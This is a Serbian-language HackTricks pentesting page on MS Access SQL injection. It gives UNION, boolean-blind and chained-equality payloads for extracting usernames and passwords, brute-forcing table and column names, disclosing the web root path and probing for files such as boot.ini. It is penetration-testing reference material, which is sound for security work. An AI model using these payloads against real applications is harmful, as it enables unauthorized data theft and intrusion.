hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2024-02-10 13:11:20 +00:00

9.7 KiB

MS Access SQL Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Online Playground

Ograničenja baze podataka

Spajanje stringova

Spajanje stringova je moguće koristeći znakove & (%26) i + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Komentari

Nema komentara u MS Access-u, ali izgleda da je moguće ukloniti poslednji deo upita pomoću NULL karaktera:

1' union select 1,2 from table%00

Ako ovo ne radi, uvek možete popraviti sintaksu upita:

1' UNION SELECT 1,2 FROM table WHERE ''='

Stacked Queries

Nisu podržane.

LIMIT

Operator LIMIT nije implementiran. Međutim, moguće je ograničiti rezultate SELECT upita na prvih N redova tabele koristeći operator TOP. TOP prihvata kao argument celobrojnu vrednost koja predstavlja broj redova koji će biti vraćeni.

1' UNION SELECT TOP 3 attr FROM table%00

Baš kao i TOP, možete koristiti LAST koji će dobiti redove sa kraja.

UNION Upiti/ Podupiti

U SQLi-u obično želite na neki način izvršiti novi upit kako biste izvukli informacije iz drugih tabela. MS Access uvek zahteva da se u podupitima ili dodatnim upitima navede FROM.
Dakle, ako želite izvršiti UNION SELECT ili UNION ALL SELECT ili SELECT između zagrada u uslovu, uvek morate navesti FROM sa validnim imenom tabele.
Stoga, morate znati validno ime tabele.

-1' UNION SELECT username,password from users%00

Spajanje jednakosti + Podstring

{% hint style="warning" %} Ovo će vam omogućiti da izvučete vrednosti trenutne tabele bez potrebe da znate ime tabele. {% endhint %}

MS Access dozvoljava čudnu sintaksu kao što je '1'=2='3'='asd'=false. Kao i obično, SQL injection će biti unutar WHERE klauzule i to možemo zloupotrebiti.

Zamislite da imate SQLi u MS Access bazi podataka i znate (ili ste pretpostavili) da je jedno ime kolone username, a to je polje koje želite izvući. Možete proveriti različite odgovore veb aplikacije kada se koristi tehnika spajanja jednakosti i potencijalno izvući sadržaj sa boolean injection korišćenjem funkcije Mid za dobijanje podstringova.

'=(Mid(username,1,3)='adm')='

Ako znate ime tabele i kolonu koju želite da izvučete, možete koristiti kombinaciju funkcija Mid, LAST i TOP da procurite sve informacije putem boolean SQLi:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Slobodno proverite ovo u online igralištu.

Brute-forcing imena tabela

Koristeći tehniku lančanog jednako, takođe možete bruteforceovati imena tabela nečim poput:

'=(select+top+1+'lala'+from+<table_name>)='

Možete koristiti i tradicionalniji način:

-1' AND (SELECT TOP 1 <table_name>)%00

Slobodno proverite ovo u online igraonici.

Brute-Forcing imena kolona

Možete brute-force trenutna imena kolona pomoću trika sa lancem jednakosti sa:

'=column_name='

Ili sa group by klauzulom:

-1' GROUP BY column_name%00

Ili možete izvršiti brute-force napad na nazive kolona druge tabele pomoću:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Dumpovanje podataka

Već smo razgovarali o tehnici spajanja jednakosti za dumpovanje podataka iz trenutnih i drugih tabela. Ali postoje i druge metode:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

Ukratko, upit koristi "if-then" izjavu kako bi pokrenuo "200 OK" u slučaju uspeha ili "500 Internal Error" u suprotnom. Iskorišćavanjem operatora TOP 10, moguće je izabrati prvih deset rezultata. Naknadna upotreba LAST omogućava razmatranje samo 10. tuple. Na takvoj vrednosti, korišćenjem operatora MID, moguće je izvršiti jednostavno poređenje karaktera. Pravilnom promenom indeksa MID i TOP, možemo izvući sadržaj polja "korisničko ime" za sve redove.

Vremenski bazirano

Proverite https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Ostale interesantne funkcije

  • Mid('admin',1,1) dobija podstring sa pozicije 1 dužine 1 (početna pozicija je 1)
  • LEN('1234') dobija dužinu stringa
  • ASC('A') dobija ASCII vrednost karaktera
  • CHR(65) dobija string iz ASCII vrednosti
  • IIF(1=1,'a','b') ako onda
  • COUNT(*) Broji broj stavki

Enumeracija tabela

Odavde ovde možete videti upit za dobijanje imena tabela:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Međutim, imajte na umu da je vrlo tipično pronaći SQL Injection gde nemate pristup čitanju tabele MSysObjects.

Pristup datotečnom sistemu

Puna putanja do web korenskog direktorijuma

Znanje o apsolutnoj putanji do web korenskog direktorijuma može olakšati dalje napade. Ako greške aplikacije nisu potpuno sakrivene, putanja direktorijuma može biti otkrivena pokušajem selektovanja podataka iz nepostojeće baze podataka.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access odgovara porukom o grešci koja sadrži punu putanju do web direktorijuma.

Enumeracija datoteka

Sledeći vektor napada može se koristiti za utvrđivanje postojanja datoteke na udaljenom datotečnom sistemu. Ako navedena datoteka postoji, MS Access pokreće poruku o grešci koja obaveštava da je format baze podataka nevažeći:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Još jedan način za enumeraciju datoteka sastoji se u navođenju stavke baze podataka.tablica. Ako navedena datoteka postoji, MS Access prikazuje poruku o grešci formata baze podataka.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Pogađanje imena .mdb datoteke

Ime datoteke baze podataka (.mdb) može se utvrditi pomoću sledećeg upita:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Gde je name[i] ime .mdb datoteke i realTable postoji tabela u bazi podataka. Iako će MS Access uvek pokrenuti poruku o grešci, moguće je razlikovati između nevažećeg imena datoteke i važećeg imena .mdb datoteke.

.mdb Kradljivac lozinki

Access PassView je besplatni alat koji se može koristiti za pronalaženje glavne lozinke glavne baze podataka Microsoft Access 95/97/2000/XP ili Jet Database Engine 3.0/4.0.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: